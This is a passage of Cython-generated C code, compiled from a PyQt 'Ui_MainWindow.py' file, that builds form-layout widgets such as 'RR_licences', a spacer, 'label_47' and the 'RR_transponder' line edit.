/* "Ui_MainWindow.py":556 * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") * self.RR_licences.setObjectName("RR_licences") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 556, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 556, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__353, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 556, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":557 * self.RR_licences.setPlaceholderText("") * self.RR_licences.setObjectName("RR_licences") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) # <<<<<<<<<<<<<< * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_19, __pyx_t_9, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_19, __pyx_t_9, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_19); __Pyx_GIVEREF(__pyx_int_19); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_19); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_3); __pyx_t_9 = 0; __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 557, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":558 * self.RR_licences.setObjectName("RR_licences") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) # <<<<<<<<<<<<<< * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSpacerItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Minimum); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[5] = {__pyx_t_9, __pyx_int_40, __pyx_int_20, __pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 4+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[5] = {__pyx_t_9, __pyx_int_40, __pyx_int_20, __pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 4+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(4+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_INCREF(__pyx_int_40); __Pyx_GIVEREF(__pyx_int_40); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_40); __Pyx_INCREF(__pyx_int_20); __Pyx_GIVEREF(__pyx_int_20); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_int_20); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 3+__pyx_t_8, __pyx_t_3); __pyx_t_1 = 0; __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 558, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_spacerItem1 = __pyx_t_7; __pyx_t_7 = 0; /* "Ui_MainWindow.py":559 * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) # <<<<<<<<<<<<<< * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_47.setObjectName("label_47") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_SpanningRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_21, __pyx_t_4, __pyx_v_spacerItem1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_21, __pyx_t_4, __pyx_v_spacerItem1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_21); __Pyx_GIVEREF(__pyx_int_21); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_21); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_4); __Pyx_INCREF(__pyx_v_spacerItem1); __Pyx_GIVEREF(__pyx_v_spacerItem1); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_v_spacerItem1); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 559, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":560 * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_47.setObjectName("label_47") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_47, __pyx_t_7) < 0) __PYX_ERR(0, 560, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":561 * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_47.setObjectName("label_47") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_47); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 561, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 561, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__354, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 561, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":562 * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_47.setObjectName("label_47") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) # <<<<<<<<<<<<<< * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_transponder.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_47); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_23, __pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_23, __pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_23); __Pyx_GIVEREF(__pyx_int_23); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_23); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 2+__pyx_t_8, __pyx_t_6); __pyx_t_1 = 0; __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 562, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":563 * self.label_47.setObjectName("label_47") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_transponder.setToolTip("") * self.RR_transponder.setStatusTip("") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if 